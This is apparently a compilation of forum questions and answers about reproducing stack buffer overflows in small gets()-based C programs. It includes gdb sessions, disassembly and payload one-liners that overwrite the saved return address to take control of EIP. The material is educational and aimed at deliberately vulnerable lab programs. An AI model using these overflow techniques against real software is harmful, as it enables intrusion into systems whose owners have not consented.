I am working on ubuntu 12.04 and 64 bit machine. I was reading a good book on buffer overflows and while playing with one example found one strange moment.
I have this really simple C code:
void getInput (void){
char array[8];
gets (array);
printf("%s\n", array);
}
main() {
getInput();
return 0;
}
in the file overflow.c
I compile it with 32 bit flag cause all example in the book assumed 32 bit machine, I do it like this
gcc -fno-stack-protector -g -m32 -o ./overflow ./overflow.c
In the code char array was only 8 bytes but looking at disassembly I found that that array starts 16 bytes away from saved EBP on the stack, so I executed this line:
printf "aaaaaaaaaaaaaaaaaaaa\x10\x10\x10\x20" | ./overflow
And got:
aaaaaaaaaaaaaaaaaaaa
Segmentation fault (core dumped)
Then I opened core file:
gdb ./overflow core
#0 0x20101010 in ?? ()
(gdb) info registers
eax 0x19 25
ecx 0xffffffff -1
edx 0xf77118b8 -143583048
ebx 0xf770fff4 -143589388
esp 0xffef6370 0xffef6370
ebp 0x61616161 0x61616161
esi 0x0 0
edi 0x0 0
eip 0x20101010 0x20101010
As you see EIP in fact got new value, which I wanted. BUT when I want to put some useful values like this 0x08048410
printf "aaaaaaaaaaaaaaaaaaaa\x10\x84\x04\x08" | ./overflow
Program crashes as usual but than something strange happens when I'm trying to observe the value in EIP register:
#0 0xf765be1f in ?? () from /lib/i386-linux-gnu/libc.so.6
(gdb) info registers
eax 0x61616151 1633771857
ecx 0xf77828c4 -143120188
edx 0x1 1
ebx 0xf7780ff4 -143126540
esp 0xff92dffc 0xff92dffc
ebp 0x61616161 0x61616161
esi 0x0 0
edi 0x0 0
eip 0xf765be1f 0xf765be1f
Suddenly EIP start to look like this 0xf765be1f, it doesn't look like 0x08048410. In fact I noticed that it's enough to put any hexadecimal value starting from 0 to get this crumbled EIP value. Do you know why this might happen? Is it because I'm on 64 bit machine?
UPD
Well guys in comments asked for more information, here is the disassembly of getInput function:
(gdb) disas getInput
Dump of assembler code for function getInput:
0x08048404 <+0>: push %ebp
0x08048405 <+1>: mov %esp,%ebp
0x08048407 <+3>: sub $0x28,%esp
0x0804840a <+6>: lea -0x10(%ebp),%eax
0x0804840d <+9>: mov %eax,(%esp)
0x08048410 <+12>: call 0x8048310 <gets#plt>
0x08048415 <+17>: lea -0x10(%ebp),%eax
0x08048418 <+20>: mov %eax,(%esp)
0x0804841b <+23>: call 0x8048320 <puts#plt>
0x08048420 <+28>: leave
0x08048421 <+29>: ret
Perhaps code at 0x08048410 was executed, and jumped to the area of 0xf765be1f.
What's in this address? I guess it's a function (libC?), so you can examine its assembly code and see what it would do.
Also note that in the successful run, you managed to overrun EBP, not EIP. EBP contains 0x61616161, which is aaaa, and EIP contains 0x20101010, which is \n\n\n. It seems like the corrupt EBP indirectly got EIP corrupt.
Try to make the overrun 4 bytes longer, and then it should overrun the return address too.
This is probably due to the fact that modern OS (Linux does at least, I don't know about Windows) and modern libc have mechanisms that do not allow code found in stack to be executed.
Buffer overflow is invoking undefined behavior, therefore anything can happen. Theorizing what might happen is futile.
Related
I want to try a buffer overflow on a c program. I compiled it like this gcc -fno-stack-protector -m32 buggy_program.c with gcc. If i run this program in gdb and i overflow the buffer, it should said 0x41414141, because i sent A's. But its saying 0x565561f5. Sorry for my bad english. Can somebody help me?
This is the source code:
#include <stdio.h>
int main(int argc, char **argv)
{
char buffer[64];
printf("Type in something: ");
gets(buffer);
}
Starting program: /root/Downloads/a.out
Type in something: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
0x565561f5 in main ()
I want to see this:
Starting program: /root/Downloads/a.out
Type in something: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in main ()
Looking at the address at which the process segfaulted shows the relevant line in the disassembled code:
gdb a.out <<EOF
set logging on
r < inp
disassemble main
x/i $eip
p/x $esp
Produces the following output:
(gdb) Starting program: .../a.out < in
Program received signal SIGSEGV, Segmentation fault.
0x08048482 in main (argc=, argv=) at tmp.c:10 10 }
(gdb) Dump of assembler code for function main:
0x08048436 <+0>: lea 0x4(%esp),%ecx
0x0804843a <+4>: and $0xfffffff0,%esp
0x0804843d <+7>: pushl -0x4(%ecx)
0x08048440 <+10>: push %ebp
0x08048441 <+11>: mov %esp,%ebp
0x08048443 <+13>: push %ebx
0x08048444 <+14>: push %ecx
0x08048445 <+15>: sub $0x40,%esp
0x08048448 <+18>: call
0x8048370 <__x86.get_pc_thunk.bx>
0x0804844d <+23>: add $0x1bb3,%ebx
0x08048453 <+29>: sub $0xc,%esp
0x08048456 <+32>: lea -0x1af0(%ebx),%eax
0x0804845c <+38>: push %eax
0x0804845d <+39>: call 0x8048300
0x08048462 <+44>: add $0x10,%esp
0x08048465 <+47>: sub $0xc,%esp
0x08048468 <+50>: lea -0x48(%ebp),%eax
0x0804846b <+53>: push %eax
0x0804846c <+54>: call 0x8048310
0x08048471 <+59>: add $0x10,%esp
0x08048474 <+62>: mov $0x0,%eax
0x08048479 <+67>: lea -0x8(%ebp),%esp
0x0804847c <+70>: pop %ecx
0x0804847d <+71>: pop %ebx
0x0804847e <+72>: pop %ebp
0x0804847f <+73>: lea -0x4(%ecx),%esp
=> 0x08048482 <+76>: ret
End of assembler dump.
(gdb) => 0x8048482 : ret
(gdb) $1 = 0x4141413d
(gdb) quit
The failing statement is the ret at the end of main. The program fails, when ret attempts to load the return-address from the top of the stack. The produced executable stores the old value of esp on the stack, before aligning to word-boundaries. When main is completed, the program attempts to restore the esp from the stack and afterwards read the return-address. However the whole top of the stack is compromised, thus rendering the new value of the stack-pointer garbage ($1 = 0x4141413d). When ret is executed, it attempts to read a word from address 0x4141413d, which isn't allocated and produces as segfault.
Notes
The above disassembly was produced from the code in the question using the following compiler-options:
-m32 -fno-stack-protector -g -O0
So guys, i found a solution:
Just compile it with gcc 3.3.4
gcc -m32 buggy_program.c
Modern operating systems use address-space-layout-randomization ASLR to make this stuff not work quite so easily.
I remember the controversy when it was first started. ASLR was kind of a bad idea for 32 bit processes due to the number of other constraints it imposed on the system and dubious security benefit. On the other hand, it works great on 64 bit processes and almost everybody uses it now.
You don't know where the code is. You don't know where the heap is. You don't know where the stack is. Writing exploits is hard now.
Also, you tried to use 32 bit shellcode and documentation on a 64 bit process.
On reading the updated question: Your code is compiled with frame pointers (which is the default). This is causing the ret instruction itself to fault because esp is trashed. ASLR appears to still be in play most likely it doesn't really matter.
I am trying to replicate a stack buffer overflow. This is my code
#include <stdio.h>
int main(int argc, char *argv[]) {
char x[1];
gets(x);
printf("%s\n", x);
}
I am compiling this on a 32 bit machine, which means each memory address is 4 bytes long. Since each character is 1 byte (verified using sizeof), I am expecting a stack buffer overflow when I enter "AAAAA" as input (1 byte more than what x can hold). However, nothing happens till I enter 13 As, at which point I get an "Illegal Instruction" error. 14 As results in a "Segmentation fault".
Questions
Why am I not getting a segmentation fault at 5 As?
What is the difference between Illegal Instruction and Segmentation Fault?
What is a good tool (other than gdb) to visualize the stack?
I've looked at Trouble replicating a stack buffer overflow exploit, but I had trouble understanding the answer.
Here's my assembly dump:
(gdb) disassemble main
Dump of assembler code for function main:
0x0804844d <+0>: push %ebp
0x0804844e <+1>: mov %esp,%ebp
0x08048450 <+3>: and $0xfffffff0,%esp
0x08048453 <+6>: sub $0x20,%esp
0x08048456 <+9>: lea 0x1f(%esp),%eax
0x0804845a <+13>: mov %eax,(%esp)
0x0804845d <+16>: call 0x8048310 <gets#plt>
=> 0x08048462 <+21>: lea 0x1f(%esp),%eax
0x08048466 <+25>: mov %eax,(%esp)
0x08048469 <+28>: call 0x8048320 <puts#plt>
0x0804846e <+33>: leave
0x0804846f <+34>: ret
End of assembler dump.
the stack is 16-byte aligned right after the main function executed ( at line 3 ). so you cannot just calculate exact address for saved return address, you can just try from 5 bytes to 21 bytes.
Illegal instruction is such bytes which didn't match with any defined instruction. every instruction is represented in machine code (Ex: push ebp is 0x55 , etc) but for example, 0xff 0xff is not matched with any instruction in x86 machine. but segmentation fault is occured when any memory access is invalid.
I have a problem understanding how the stack works. First my little code:
void func1 ( int z ) {
int i = 1;
}
int main ( ) {
func1 ( 89 );
return 0;
}
I am using:
Ubuntu 16.04 64-bit,
gcc version 5.4.0,
gdb version 7.11.1.
I was debugging with GDB, to see how the compiler pushes function arguments on the stack.
When I examine the stack at the point of the where RSP points, I get this:
(gdb) x/10xw $rsp
0x7fffffffdf20: 0xffffdf30 0x00007fff 0x00400525 0x00000000
0x7fffffffdf30: 0x00400530 0x00000000 0xf7a2e830 0x00007fff
0x7fffffffdf40: 0x00000000 0x00000000
When I print out the address of newest created variable, I get this:
(gdb) p &i
$4 = (int *) 0x7fffffffdf14
When I print out the address of the variable, which was hand over to the function, I get this:
(gdb) p &z
$5 = (int *) 0x7fffffffdf0c
The stack is growing to lower numbers.
So I thought that RSP always points to the top of the stack, meaning that when I i call this command x/10xw $rsp I am able to see all the variables from the function, but I can't see them from there.
The first address after this command is way higher than the address of the variable z. Because of that I was guessing that RSP points not on the top of the stack.
What is also wondering me, is that the address of i is higher than the address of z.
Since i were later pushed to the stack than z, i must be a lower address than z in my opinion.
I hope someone can explain me why this is so.
EDIT: I have found the answer!
It was an optimization from the compiler. In func1() the RSP register had not pointed to the "top" of the stack because it was not necessary. It were just necessary if in func1() a other function were called. So the compiler saw that and didn't decrement the RSP register.
Here ismy assembler code with no function call in func1():
0x00000000004004d6 <+0>: push rbp
0x00000000004004d7 <+1>: mov rbp,rsp
0x00000000004004de <+8>: mov DWORD PTR [rbp-0x14],edi
0x00000000004004e1 <+11>: mov DWORD PTR [rbp-0x4],0x1
0x00000000004004e8 <+18>: mov eax,0x0
0x00000000004004f3 <+29>: leave
0x00000000004004f4 <+30>: ret
So you can see no SUB call for decrementing RSP.
Now the code from func1() with a function call:
0x00000000004004d6 <+0>: push rbp
0x00000000004004d7 <+1>: mov rbp,rsp
0x00000000004004da <+4>: sub rsp,0x20
0x00000000004004de <+8>: mov DWORD PTR [rbp-0x14],edi
0x00000000004004e1 <+11>: mov DWORD PTR [rbp-0x4],0x1
0x00000000004004e8 <+18>: mov eax,0x0
0x00000000004004ed <+23>: call 0x4004f5 <func2>
0x00000000004004f2 <+28>: nop
0x00000000004004f3 <+29>: leave
0x00000000004004f4 <+30>: ret
So you can see the SUB call for decrementing RSP. So RSP can point to the "top".
The convention on x86 is that the stack grows "downwards" towards decreasing addresses.
The "top" of the stack is simply the location where something was most recently pushed; it's not based on the relative values of the addresses. A stack can grow "upwards" or "downwards" in the address space - heck, for some implementations (such as a linked list), the addresses don't even have to be sequential.
This page has a fair explanation with diagrams.
I learn about stack frame. But if I'm right, before function is called, that function's arguments are pushed into stack frame.
For example,
int main(void)
{
printf("hi everyone %d \n", 3);
return 0;
}
In this case, in the main stack frame, "Hi everyone %d \n" 's address, and 3 should be pushed and then printf must be called, if i'm right.
But there is no such instruction when I use gdb.
I'm studying about String Format Vulnerability. But what I write above didn't happen. What's wrong with me?
For your simple program:
#include <stdio.h>
int main(void)
{
printf("hi everyone %d \n", 3);
return 0;
}
compiled as gcc -g -ansi -pedantic -Wall test.c -o test (on an Ubuntu 14.04 system using gcc version 4.8.4) it appears that the parameters to printf are being passed in registers. Setting a break point on the printf command and disassembling yields the following:
Dump of assembler code for function main:
0x000000000040052d <+0>: push rbp
0x000000000040052e <+1>: mov rbp,rsp
=> 0x0000000000400531 <+4>: mov esi,0x3
0x0000000000400536 <+9>: mov edi,0x4005d4
0x000000000040053b <+14>: mov eax,0x0
0x0000000000400540 <+19>: call 0x400410 <printf#plt>
0x0000000000400545 <+24>: mov eax,0x0
0x000000000040054a <+29>: pop rbp
0x000000000040054b <+30>: ret
End of assembler dump.
We can see that the value 3 (which in this case is encoded into the instruction as a literal) is begin moved into the %esi register and your string's address is being moved into the %edi register. You can verify this by looking at the memory:
(gdb) x/16cb 0x4005d4
0x4005d4: 104 'h' 105 'i' 32 ' ' 101 'e' 118 'v' 101 'e' 114 'r' 121 'y'
0x4005dc: 111 'o' 110 'n' 101 'e' 32 ' ' 37 '%' 100 'd' 32 ' ' 10 '\n
Also, you can examine the stack and base pointers, and you will notice that in this simple program the stack is not used:
(gdb) print $rbp
$4 = (void *) 0x7fffffffe460
(gdb) print $rsp
$5 = (void *) 0x7fffffffe460
as $rpb and $rsp both have the same value.
Hope this helps.
-T.
This article about how the GCC compiler can optimize code to replace some types of call with equivalent, but not identical, operations may help.
The example you gave would be a prime target for this sort of optimization.
Following the __cdecl calling convention (the default for most compilers) https://en.wikipedia.org/wiki/X86_calling_conventions#cdecl we can see what the compiler might produce.
First the caller makes a stack frame.
push ebp
mov ebp, esp
What the above code does is simple. First it pushes the current value of ebp to the stack, then it moves the value of the stack pointer to ebp.
Now it pushes the function's arguments to the stack from right to left.
push 3; The number
push ?; Placeholder for the pointer to the string
Now it calls the function.
call ?; Placeholder for the address of printf
When the function returns we clean the stack by simply resetting the stack frame
mov esp, ebp
and restoring ebp
pop ebp
Just looking at some of the code that visual studio 2015 produced for me I can confirm there are variations to this calling convention, but this is the general idea of stack frames.
I was taking at this example w.r.t. shellcoder's handbook(second edition), and have some question about the stack
root#bt:~/pentest# gdb -q sc
Reading symbols from /root/pentest/sc...done.
(gdb) set disassembly-flavor intel
(gdb) list
1 void ret_input(void){
2 char array[30];
3
4 gets(array);
5 printf("%s\n", array);
6 }
7 main(){
8 ret_input();
9
10 return 0;
(gdb) disas ret_input
Dump of assembler code for function ret_input:
0x08048414 <+0>: push ebp
0x08048415 <+1>: mov ebp,esp
0x08048417 <+3>: sub esp,0x24
0x0804841a <+6>: lea eax,[ebp-0x1e]
0x0804841d <+9>: mov DWORD PTR [esp],eax
0x08048420 <+12>: call 0x804832c <gets#plt>
0x08048425 <+17>: lea eax,[ebp-0x1e]
0x08048428 <+20>: mov DWORD PTR [esp],eax
0x0804842b <+23>: call 0x804834c <puts#plt>
0x08048430 <+28>: leave
0x08048431 <+29>: ret
End of assembler dump.
(gdb) break *0x08048420
Breakpoint 1 at 0x8048420: file sc.c, line 4.
(gdb) break *0x08048431
Breakpoint 2 at 0x8048431: file sc.c, line 6.
(gdb) run
Starting program: /root/pentest/sc
Breakpoint 1, 0x08048420 in ret_input () at sc.c:4
4 gets(array);
(gdb) x/20x $esp
0xbffff51c: 0xbffff522 0xb7fca324 0xb7fc9ff4 0x08048460
0xbffff52c: 0xbffff548 0xb7ea34a5 0xb7ff1030 0x0804846b
0xbffff53c: 0xb7fc9ff4 0xbffff548 0x0804843a 0xbffff5c8
0xbffff54c: 0xb7e8abd6 0x00000001 0xbffff5f4 0xbffff5fc
0xbffff55c: 0xb7fe1858 0xbffff5b0 0xffffffff 0xb7ffeff4
(gdb) continue
Continuing.
AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDDDD
AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDDDD
Breakpoint 2, 0x08048431 in ret_input () at sc.c:6
6 }
(gdb) x/20x 0x0bffff51c
0xbffff51c: 0xbffff522 0x4141a324 0x41414141 0x41414141
0xbffff52c: 0x42424242 0x42424242 0x43434242 0x43434343
0xbffff53c: 0x43434343 0x44444444 0x44444444 0xbffff500
0xbffff54c: 0xb7e8abd6 0x00000001 0xbffff5f4 0xbffff5fc
0xbffff55c: 0xb7fe1858 0xbffff5b0 0xffffffff 0xb7ffeff4
(gdb) ^Z
[1]+ Stopped gdb -q sc
root#bt:~/pentest# printf "AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDD\x35\x84\x04\x08" | ./sc
AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDD5�
AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDD:�
root#bt:~/pentest#
in this example i was taking 48 bytes "AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDD\x35\x84\x04\x08" that to rewrite ret address, and all is work. But when i tried to use example from first edition of this book, i faced with some problem
root#bt:~/pentest# gdb -q sc
Reading symbols from /root/pentest/sc...done.
(gdb) disas ret_input
Dump of assembler code for function ret_input:
0x08048414 <+0>: push %ebp
0x08048415 <+1>: mov %esp,%ebp
0x08048417 <+3>: sub $0x24,%esp
0x0804841a <+6>: lea -0x1e(%ebp),%eax
0x0804841d <+9>: mov %eax,(%esp)
0x08048420 <+12>: call 0x804832c <gets#plt>
0x08048425 <+17>: lea -0x1e(%ebp),%eax
0x08048428 <+20>: mov %eax,(%esp)
0x0804842b <+23>: call 0x804834c <puts#plt>
0x08048430 <+28>: leave
0x08048431 <+29>: ret
End of assembler dump.
(gdb)
why program has taken 24(hex)=36(dec)bytes for array, but i used 48 that rewrite, 36 bytes of array, 8 bytes of esp and ebp(how i know), but there are steel have 4 unexplained bytes
ok, lets try out the sploit from first edition of book who rewrite all of array by address of call function, in book they had "sub &0x20,%esp" so code is
main(){
int i=0;
char stuffing[44];
for (i=0;i<=40;i+=4)
*(long *) &stuffing[i] = 0x080484bb;
puts(array);
i have ""sub &0x24,%esp" so my code will be
main(){
int i=0;
char stuffing[48];
for (i=0;i<=44;i+=4)
*(long *) &stuffing[i] = 0x08048435;
puts(array);
result of the shellcoders' handbook
[root#localhost /]# (./adress_to_char;cat) | ./overflow
input
""""""""""""""""""a<u___.input
input
input
and my result
root#bt:~/pentest# (./ad_to_ch;cat) | ./sc
5�h���ل$���������h����4��0��˄
inout
Segmentation fault
root#bt:~/pentest#
What's problem?
i was compiling with
-fno-stack-protector -mpreferred-stack-boundary=2
I suggest you better get the amount of bytes necessary to overflow the buffer by trying in GDB. I compiled the source you provided in your question and ran it through GDB:
gdb$ r < <(python -c "print('A'*30)")
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[Inferior 1 (process 29912) exited normally]
(Do note that I use Python to create my input instead of a compiled C program. It really does not matter, use what you prefer.)
So 30 bytes are fine. Let's try some more:
gdb$ r < <(python -c "print('A'*50)")
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
Cannot access memory at address 0x41414141
0x41414141 in ?? ()
gdb$ i r $eip
eip 0x41414141 0x41414141
Our eip register now contains 0x41414141, which is AAAA in ASCII. Now, we can gradually check where exactly we have to place the value in our buffer that updates eip:
gdb$ r < <(python -c "print('A'*40+'BBBB')")
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
Program received signal SIGSEGV, Segmentation fault.
Cannot access memory at address 0x8004242
0x08004242 in ?? ()
B is 0x42. Thus, we overwrote half of eip when using 40 A's and four B's. Therefore, we pad with 42 A's and then put the value we want to update eip with:
gdb$ r < <(python -c "print('A'*42+'BBBB')")
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
Program received signal SIGSEGV, Segmentation fault.
Cannot access memory at address 0x42424242
0x42424242 in ?? ()
We got full control over eip! Let's try it. Set a breakpoint at the end of ret_input (your addresses may vary as I recompiled the binary):
gdb$ dis ret_input
Dump of assembler code for function ret_input:
0x08048404 <+0>: push %ebp
0x08048405 <+1>: mov %esp,%ebp
0x08048407 <+3>: sub $0x38,%esp
0x0804840a <+6>: lea -0x26(%ebp),%eax
0x0804840d <+9>: mov %eax,(%esp)
0x08048410 <+12>: call 0x8048310 <gets#plt>
0x08048415 <+17>: lea -0x26(%ebp),%eax
0x08048418 <+20>: mov %eax,(%esp)
0x0804841b <+23>: call 0x8048320 <puts#plt>
0x08048420 <+28>: leave
0x08048421 <+29>: ret
End of assembler dump.
gdb$ break *0x8048421
Breakpoint 1 at 0x8048421
As an example, let's modify eip so once returning from ret_input we end up at the beginning of the function again:
gdb$ r < <(python -c "print('A'*42+'\x04\x84\x04\x08')")
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�
--------------------------------------------------------------------------[code]
=> 0x8048421 <ret_input+29>: ret
0x8048422 <main>: push ebp
0x8048423 <main+1>: mov ebp,esp
0x8048425 <main+3>: and esp,0xfffffff0
0x8048428 <main+6>: call 0x8048404 <ret_input>
0x804842d <main+11>: mov eax,0x0
0x8048432 <main+16>: leave
0x8048433 <main+17>: ret
--------------------------------------------------------------------------------
Breakpoint 1, 0x08048421 in ret_input ()
We pad 42 A's and then append the address of ret_input to our buffer. Our breakpoint on the ret triggers.
gdb$ x/w $esp
0xffffd30c: 0x08048404
On top of the stack there's the last DWORD of our buffer - ret_input's address.
gdb$ n
0x08048404 in ret_input ()
gdb$ i r $eip
eip 0x8048404 0x8048404 <ret_input>
Executing the next instruction pops that value off the stack and sets eip accordingly.
On a side note: I recommend the .gdbinit file from this guy.
This row :
for (i=o;i<=44;i+=4);
Remove the ; from the end. I also assume that the o(letter o) instead of 0(zero) is mistyped here.
The problem is that your for loop is executing ; (a.k.a. do nothing) until i becomes larger then 44, and then you execute the next command with i = 44 wich is outside the bounds of array and you get Segmentation Error. You should watch out for this type of error as it is hardly visible and it is completely valid c code.